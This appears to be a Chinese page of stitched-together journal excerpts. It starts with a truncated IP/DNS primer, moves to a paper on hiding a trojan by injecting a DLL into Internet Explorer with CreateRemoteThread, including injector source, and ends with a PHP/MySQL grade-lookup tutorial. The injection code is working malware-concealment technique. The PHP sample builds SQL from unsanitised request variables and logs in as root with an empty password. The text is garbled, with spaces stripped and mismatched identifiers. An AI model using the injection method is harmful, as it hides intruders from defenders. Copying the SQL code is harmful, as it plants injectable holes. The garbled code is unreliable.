IP(InternetProtocol)地址就是網(wǎng)絡(luò)協(xié)議地址,是分配給網(wǎng)絡(luò)節(jié)點(diǎn)的邏輯地址。這些網(wǎng)絡(luò)節(jié)點(diǎn)可以是網(wǎng)絡(luò)中的任何一臺(tái)主機(jī),提供節(jié)點(diǎn)之間的交換信息服務(wù)。由于在Internet網(wǎng)絡(luò)中存在著大量的節(jié)點(diǎn),為了能夠在網(wǎng)上找到這個(gè)節(jié)點(diǎn),就必須給予標(biāo)識(shí)。IP地址就是一種標(biāo)識(shí)方法,它獨(dú)立于任何特定的網(wǎng)絡(luò)硬件和網(wǎng)絡(luò)配置,使用TCP/IP協(xié)議的網(wǎng)絡(luò)在發(fā)送或接收信息時(shí)先把數(shù)據(jù)打包,然后將目標(biāo)IP地址翻譯成MAC(Medi-umAccessControl)硬件的物理地址,這樣就可以把數(shù)據(jù)包準(zhǔn)確地發(fā)送或接收過(guò)來(lái)。

每個(gè)IP地址是由4個(gè)字節(jié)共32位組成,每字節(jié)之間使用小數(shù)點(diǎn)分隔,一般用十進(jìn)制數(shù)字表示。每個(gè)IP地址包括兩個(gè)標(biāo)識(shí)(ID),即網(wǎng)絡(luò)ID和宿主機(jī)ID,同一個(gè)物理網(wǎng)絡(luò)上的所有主機(jī)都用同一個(gè)網(wǎng)絡(luò)ID,而網(wǎng)絡(luò)上的每個(gè)服務(wù)器、路由器、計(jì)算機(jī)等都有一個(gè)主機(jī)ID。比如202.98.180.194即是云南省科學(xué)技術(shù)情報(bào)研究所的一個(gè)WWW服務(wù)器的IP地址。

2.因特網(wǎng)域名及結(jié)構(gòu)

由于IP地址全是數(shù)字代碼,既不直觀又難于記憶,因特網(wǎng)在IP地址的基礎(chǔ)上,提供了一種面向用戶的主機(jī)名字,即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)為我所(云南省科學(xué)技術(shù)情報(bào)研究所)的英文縮寫(xiě)。即為我所在因特網(wǎng)上注冊(cè)的域名,而(主機(jī)名+域名)為我所DNS服務(wù)器的主機(jī)域名,對(duì)應(yīng)的IP地址就是202.98.180.193。

3.域名解析系統(tǒng)DNS(DomainNameSystem)就是提供域名與IP地址相互映射的網(wǎng)絡(luò)服務(wù)。事實(shí)上,DNS是遍布于全世界的一個(gè)分布式數(shù)據(jù)庫(kù)。它主要負(fù)責(zé)控制整個(gè)數(shù)據(jù)庫(kù)中的部分段,每一段中的數(shù)據(jù)通過(guò)客戶/服務(wù)模式在整個(gè)網(wǎng)絡(luò)上均可存取。DNS的數(shù)據(jù)庫(kù)結(jié)構(gòu),同UNIX文件系統(tǒng)(或MSDOS文件系統(tǒng))的結(jié)構(gòu)很相似,整個(gè)數(shù)據(jù)庫(kù)(或文件系統(tǒng))將根放在頂端,畫(huà)出來(lái)就像一顆倒轉(zhuǎn)的樹(shù)。在DNS中,根的名字以空字符串“”表示,DNS簡(jiǎn)單地稱其為“根”(Root)或偶而稱之為“根域”(RootDomain),在UNIX文件系統(tǒng)中,根以反斜杠“/”表示,被稱為“根目錄”。如圖1所示.

圖1在DNS和UNIX文件系統(tǒng)中名稱的讀法

DNS數(shù)據(jù)庫(kù)“”

cn

篇(6)

摘要進(jìn)程的隱藏一直是木馬程序設(shè)計(jì)者不斷探求的重要技術(shù),本文采用遠(yuǎn)程線程技術(shù),通過(guò)動(dòng)態(tài)鏈接庫(kù)方法,較好地解決了這一問(wèn)題,通過(guò)遠(yuǎn)程線程將木馬作為線程隱藏在其他進(jìn)程中,從而達(dá)到隱藏的目的。

關(guān)鍵字進(jìn)程線程木馬動(dòng)態(tài)鏈接庫(kù)

木馬程序(也稱后門程序)是能被控制的運(yùn)行在遠(yuǎn)程主機(jī)上的程序,由于木馬程序是運(yùn)行在遠(yuǎn)程主機(jī)上,所以進(jìn)程的隱藏?zé)o疑是大家關(guān)心的焦點(diǎn)。

本文分析了WindowsNT/2000系統(tǒng)下進(jìn)程隱藏的基本技術(shù)和方法,并著重討論運(yùn)用線程嫁接技術(shù)如何實(shí)現(xiàn)WindowsNT/2000系統(tǒng)中進(jìn)程的隱藏。

1基本原理

在WIN95/98中,只需要將進(jìn)程注冊(cè)為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無(wú)論木馬從端口、啟動(dòng)文件上如何巧妙地隱藏自己,始終都不能躲過(guò)WindowsNT/2000的任務(wù)管理器,WindowsNT/2000的任務(wù)管理器均能輕松顯示出木馬進(jìn)程,難道在WindowsNT/2000下木馬真的再也無(wú)法隱藏自己的進(jìn)程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運(yùn)行時(shí)都有一個(gè)共同點(diǎn),會(huì)生成一個(gè)獨(dú)立的進(jìn)程,尋找特定進(jìn)程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測(cè)軟件的不斷發(fā)展,關(guān)聯(lián)進(jìn)程和SOCKET已經(jīng)成為流行的技術(shù),假設(shè)一個(gè)木馬在運(yùn)行時(shí)被檢測(cè)軟件同時(shí)查出端口和進(jìn)程,我們基本上認(rèn)為這個(gè)木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進(jìn)程對(duì)于系統(tǒng)管理員來(lái)說(shuō)都是可見(jiàn)的,要想做到木馬的進(jìn)程隱藏,有兩個(gè)辦法,第一是讓系統(tǒng)管理員看不見(jiàn)你的進(jìn)程;第二是不使用進(jìn)程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠(yuǎn)程進(jìn)程之中,遠(yuǎn)程進(jìn)程則是合法的用戶程序,這樣用戶管理者看到的只是合法進(jìn)程,而無(wú)法發(fā)現(xiàn)木馬線程的存在,從而達(dá)到隱藏的目的。

2實(shí)現(xiàn)方法

為了弄清實(shí)現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是DynamicLinkLibrary(動(dòng)態(tài)鏈接庫(kù))的縮寫(xiě),DLL文件是Windows的基礎(chǔ),因?yàn)樗械腁PI函數(shù)都是在DLL中實(shí)現(xiàn)的。DLL文件沒(méi)有程序邏輯,是由多個(gè)功能函數(shù)構(gòu)成,它并不能獨(dú)立運(yùn)行,一般都是由進(jìn)程加載并調(diào)用的。因?yàn)镈LL文件不能獨(dú)立運(yùn)行,所以在進(jìn)程列表中并不會(huì)出現(xiàn)DLL,假設(shè)我們編寫(xiě)了一個(gè)木馬DLL,并且通過(guò)別的進(jìn)程來(lái)運(yùn)行它,那么無(wú)論是入侵檢測(cè)軟件還是進(jìn)程列表中,都只會(huì)出現(xiàn)那個(gè)進(jìn)程而并不會(huì)出現(xiàn)木馬DLL,如果那個(gè)進(jìn)程是可信進(jìn)程,(例如瀏覽器程序IEXPLORE.EXE,沒(méi)人會(huì)懷疑它是木馬吧?)那么我們編寫(xiě)的DLL作為那個(gè)進(jìn)程的一部分,也將成為被信賴的一員,也就達(dá)到了隱藏的目的。

運(yùn)行DLL方法有多種,但其中最隱蔽的方法是采用動(dòng)態(tài)嵌入技術(shù),動(dòng)態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運(yùn)行的進(jìn)程中的技術(shù)。理論上來(lái)說(shuō),在Windows中的每個(gè)進(jìn)程都有自己的私有內(nèi)存空間,別的進(jìn)程是不允許對(duì)這個(gè)私有空間進(jìn)行操作的,但是實(shí)際上,我們?nèi)匀豢梢岳梅N種方法進(jìn)入并操作進(jìn)程的私有內(nèi)存。動(dòng)態(tài)嵌入技術(shù)有多種如:窗口Hook、掛接API、遠(yuǎn)程線程等,這里介紹一下遠(yuǎn)程線程技術(shù),它只要有基本的進(jìn)線程和動(dòng)態(tài)鏈接庫(kù)的知識(shí)就可以很輕松地完成動(dòng)態(tài)嵌入。

遠(yuǎn)程線程技術(shù)指的是通過(guò)在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過(guò)CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動(dòng)時(shí)被同時(shí)自動(dòng)建立的那個(gè)線程)共享地址空間以及其他的資源。但是很少有人知道,通過(guò)CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程)的地址空間,所以,實(shí)際上,我們通過(guò)一個(gè)遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個(gè)遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。

3實(shí)施步驟

1)用Process32Next()函數(shù)找到宿主進(jìn)程,獲取宿主進(jìn)程ID,并用

OpenProcess()函數(shù)打開(kāi)宿主進(jìn)程。

2)用VirtualAllocEx()函數(shù)分配遠(yuǎn)程進(jìn)程地址空間中的

內(nèi)存。

3)用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。

4)拷貝到步驟二已經(jīng)分配的內(nèi)存中。

5)用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實(shí)地址(在kernel32.dll中)。

6)用CreateRemoteThread()函數(shù)在遠(yuǎn)程進(jìn)程中創(chuàng)建一個(gè)線程。

7)它調(diào)用正確的LoadlibraryA()函數(shù)。

8)為它傳遞步驟二中分配的內(nèi)存地址。

4具體實(shí)例

下面是在C++Builder4.0環(huán)境下編寫(xiě)的運(yùn)用遠(yuǎn)程線程技術(shù)隱藏木馬的程序代碼:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進(jìn)程操作的API函數(shù)

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進(jìn)程快照句柄

HANDLEhRemoteProcess;//遠(yuǎn)程進(jìn)程句柄

LPVOIDpszLibFileRemote;//遠(yuǎn)程進(jìn)程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠(yuǎn)程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開(kāi)進(jìn)程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個(gè)進(jìn)程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進(jìn)程,以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個(gè)進(jìn)程

}

else

{

MessageBox(NULL,"取第一個(gè)進(jìn)程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開(kāi)遠(yuǎn)程進(jìn)程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設(shè)hide.dll是待隱藏的進(jìn)程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計(jì)算dll文件名長(zhǎng)度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請(qǐng)存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫(xiě)入申請(qǐng)的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動(dòng)態(tài)鏈接庫(kù)函數(shù)地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創(chuàng)建遠(yuǎn)程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關(guān)閉遠(yuǎn)程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關(guān)閉進(jìn)程快照

}

該程序編譯后命名為RmtDll.exe,運(yùn)行時(shí)點(diǎn)擊界面上的按鈕即可。

至此,遠(yuǎn)程嵌入順利完成,為了試驗(yàn)我們的hide.dll是不是已經(jīng)正常地在遠(yuǎn)程線程運(yùn)行,我同樣在C++Builder4.0環(huán)境下編寫(xiě)并編譯了下面的hide.dll作為測(cè)試:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當(dāng)前進(jìn)程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當(dāng)使用RmtDll.exe程序?qū)⑦@個(gè)hide.dll嵌入IEXPLORE.EXE進(jìn)程后假設(shè)PID=1208),該測(cè)試DLL彈出了1208字樣的確認(rèn)框,同時(shí)使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

這證明hide.dll已經(jīng)在IEXPLORE.EXE進(jìn)程內(nèi)正確地運(yùn)行了。上面程序的頭文件由編譯器自動(dòng)生成,未作改動(dòng),故略之。

5結(jié)束語(yǔ)

進(jìn)程隱藏技術(shù)和方法有很多,而且這一技術(shù)發(fā)展也相當(dāng)快,本文僅從一個(gè)側(cè)面加以討論,希望通過(guò)這一探討讓我們對(duì)進(jìn)程隱藏技術(shù)有一個(gè)更清楚的認(rèn)識(shí),同時(shí)也為我們防范他人利用進(jìn)程隱藏手段非法入侵提供參考,本文拋磚引玉,不當(dāng)之處誠(chéng)懇批評(píng)指正。

參考文獻(xiàn)

篇(7)

關(guān)鍵詞PHPMySQLODBC

1.引言

在Internet應(yīng)用中,將服務(wù)器端腳本技術(shù)和客戶端腳本技術(shù)結(jié)合起來(lái)可以制作出豐富多彩的頁(yè)面。CGI和ASP是比較流行的服務(wù)器端腳本技術(shù)。通常CGI在跨平臺(tái)的開(kāi)發(fā)中扮演著主要角色,可以使用VB、C或Perl等來(lái)實(shí)現(xiàn),用它們寫(xiě)的CGI腳本是一個(gè)單獨(dú)的程序,而不是嵌在HTML文檔中再通過(guò)另一個(gè)程序解釋替換的,所以它是一種“非嵌入式”的服務(wù)器端腳本。另外,每一次修改CGI程序都必須重新將其編譯成執(zhí)行文件,因此,這樣的編寫(xiě)方式事實(shí)上是比較困難且沒(méi)有效率。ASP則是嵌入式的服務(wù)器端腳本,每一次修改腳本并不需要重新編譯成執(zhí)行文件就可以直接執(zhí)行,但ASP有一個(gè)致命的缺點(diǎn):不具有跨平臺(tái)開(kāi)發(fā)能力。目前ASP只能在Windows環(huán)境下運(yùn)行,而無(wú)法在Internet上的Unix平臺(tái)下使用。在這種情況下PHP的問(wèn)世,在WelCGI的領(lǐng)域里掀起了一場(chǎng)革命。

2.PHP介紹

PHP(PersonalHomePage)是一種跨平臺(tái)的服務(wù)器端嵌入式腳本語(yǔ)言。它最初是RasmusLerdorf于1994年開(kāi)發(fā)的。早期的版本,提供了訪客留言本、訪客計(jì)數(shù)器等簡(jiǎn)單功能。隨后,在第二版中增加了對(duì)mSQL的支持。自此奠定了PHP在動(dòng)態(tài)網(wǎng)頁(yè)開(kāi)發(fā)上的影響力,并迅速在Internet上流傳開(kāi)來(lái)。截止1999年,已有超過(guò)十五萬(wàn)個(gè)站點(diǎn)使用PHP。同時(shí),PHP的源代碼完全公開(kāi),在OpenSource意識(shí)抬頭的今天,它更是這方面的中流砥柱,隨著新函數(shù)庫(kù)的不斷加入,使PHP無(wú)論在Unix或是Win32的平臺(tái)上都可以有更多新的功能。如今,PHP已發(fā)展至4.0版。在語(yǔ)法方面,PHP混合了C、Java、Perl以及PHP以前版本的優(yōu)點(diǎn)。它相當(dāng)于Script與CGI的結(jié)合語(yǔ)言,但是其執(zhí)行將效率卻比CGI更好,程序編寫(xiě)也比HTML更便利且更富有彈性,程序的安全性及保密性也比Script好。在函數(shù)支持方面,PHP幾乎覆蓋了Web應(yīng)用的各個(gè)方面,其中最有特色的是數(shù)據(jù)庫(kù)函數(shù),使用PHP完成一個(gè)含有數(shù)據(jù)庫(kù)功能的網(wǎng)頁(yè)非常簡(jiǎn)單,而PHP支持的數(shù)據(jù)庫(kù)也非常豐富,目前包括:Oracle、Sybase、mSQL、MySQL、Informix等。

3.訪問(wèn)MySQL數(shù)據(jù)庫(kù)

MySQL是一個(gè)快速、健壯和易用,且支持多線程、多用戶的SQL數(shù)據(jù)庫(kù)服務(wù)器。雖然PHP通過(guò)ODBC支持幾乎所有的數(shù)據(jù)庫(kù)。但對(duì)于開(kāi)發(fā)數(shù)據(jù)驅(qū)動(dòng)的網(wǎng)站而言,選擇MySQL應(yīng)該說(shuō)是最佳組合,這不僅因?yàn)镸ySQL是免費(fèi)的,更在于它具有許多同大型數(shù)據(jù)庫(kù)相媲美甚至超過(guò)它們的優(yōu)良性能。PHP實(shí)現(xiàn)對(duì)MySQL數(shù)據(jù)庫(kù)的訪問(wèn)有兩種方法:

1)利用PHP的數(shù)據(jù)庫(kù)函數(shù)連接

這里主要用到四個(gè)數(shù)據(jù)庫(kù)函數(shù):

mysql_connect()建立與MySQL服務(wù)器的連接。

mysql_select_db():選擇MySQL服務(wù)器中的數(shù)據(jù)庫(kù)供以后的數(shù)據(jù)查詢操作query處理。mysql_query():送出query字符串以幫助MySQL做相關(guān)的處理或執(zhí)行。

mysql_fetch_row():用來(lái)將查詢結(jié)果result單行移到數(shù)組變量中。數(shù)組的索引是數(shù)字

索引,第一個(gè)索引值是0。

2)通過(guò)ODBC連接

PHP通過(guò)ODBC連接MySQL數(shù)據(jù)庫(kù)主要用到四個(gè)函數(shù):

Odbc_connect():用來(lái)同ODBC數(shù)據(jù)源建立連接。

Odbc_do():用來(lái)在建立連接之后執(zhí)行數(shù)據(jù)庫(kù)查詢。

Odbc_result():用于取得當(dāng)前記錄行中某個(gè)字段的值。

Odbc_fetch_row():用來(lái)把查詢結(jié)果保存到數(shù)組,每個(gè)數(shù)組元素對(duì)應(yīng)一條記錄。

上述兩種方法在與數(shù)據(jù)庫(kù)建立連接的語(yǔ)法上,并沒(méi)有太大差別。不過(guò)在相比較之下,通過(guò)ODBC方式存取數(shù)據(jù)庫(kù)比PHP直接存取MySQL耗時(shí)間,但通過(guò)ODBC接口存取數(shù)據(jù)庫(kù)不必?fù)?dān)心使用何種數(shù)據(jù)庫(kù),如Oracle,Informix,Sybase等。它們都支持ODBC接口,這樣可減少更換數(shù)據(jù)庫(kù)時(shí)需要更改程序的問(wèn)題。圖1顯了PHP連接數(shù)據(jù)庫(kù)的兩種方法。

PHP

MySQL

MySQL

圖1PHP連接數(shù)據(jù)庫(kù)說(shuō)明圖

4.一個(gè)應(yīng)用實(shí)例

現(xiàn)在很多校園網(wǎng)站都提供成績(jī)查詢功能。PHP和MySQL數(shù)據(jù)庫(kù)相結(jié)合使用可以方便的實(shí)現(xiàn)此功能。首先建立數(shù)據(jù)庫(kù)Score及數(shù)據(jù)表Score。建表SQL語(yǔ)句如下:

CreattableScore(

Stu_novarchar(10)notnull,

namevarchar(10)notnull,

scoreltinyint(4),

score2tinyint(4),

PrimaryKey(stu_no)

);

1)通過(guò)PHP的數(shù)據(jù)庫(kù)函數(shù)訪問(wèn)MySQL的代碼如下:

〈?php

print(“〈html〉〈head〉\n”);

print(“〈title〉成績(jī)查詢〈/title〉〈/head〉\n”);

print(“〈body〉〈cennter〉”);

print(“〈fontsize=6color=”ff0000〉您的成績(jī)?nèi)缦隆?font〉”);

$comm=mysql_connect(“l(fā)ocalhost”,“root”,"");

mysql_select_db(“Score”,$comm);

$str=“Select*FromScoreWherestu_no=’$pstu_no''''andname=’$pname''''”;

$reault=mysql_query($str,$comm);

print(“〈tablealign=center〉”);

$sqlrow=mysql_fetch_row($result));

print(“學(xué)號(hào):$sqlrow[0]”);

print(“姓名:$sqlrow[1]”);

print(“成績(jī)1:$sqlrow[2]”);

print(“成績(jī)2:$sqlrow[3]”);

print(“〈/table〉〈body.〈/html〉”);

?〉

2)通過(guò)ODBC訪問(wèn)MySQL數(shù)據(jù)庫(kù)的代碼如下(省略的代碼同上):

〈?php

…

$comm=odbc_connect(“Score”,"system","");

$str="Select*FromScoreWherename=’$pname’andstu_no=’$pstu_no’”;

$result=odbc_do($comm,$str);

…

while(odbc_fetch_row($result))

{

$pstu_no=odbc_result($result,"stu_no");

$pname=odbc_result($result,"name");

$score1=odbc_result($result,"score1");

$score2=odbc_result($result,"score2");

print(“學(xué)號(hào):$pstu-no”);

print(“姓名:$pname”);

print(“成績(jī)1:$score1”);

print(“成績(jī)2:$score2”);

}

…?〉

5.結(jié)束語(yǔ)

對(duì)于Wed服務(wù)器端的開(kāi)發(fā),PHP是一種易開(kāi)發(fā)、高效能的動(dòng)態(tài)腳本編程語(yǔ)言。在未來(lái)的幾年內(nèi),PHP必將成為主流的腳本語(yǔ)言,并被Wed研究和開(kāi)發(fā)人員熟悉和掌握。

參考文獻(xiàn)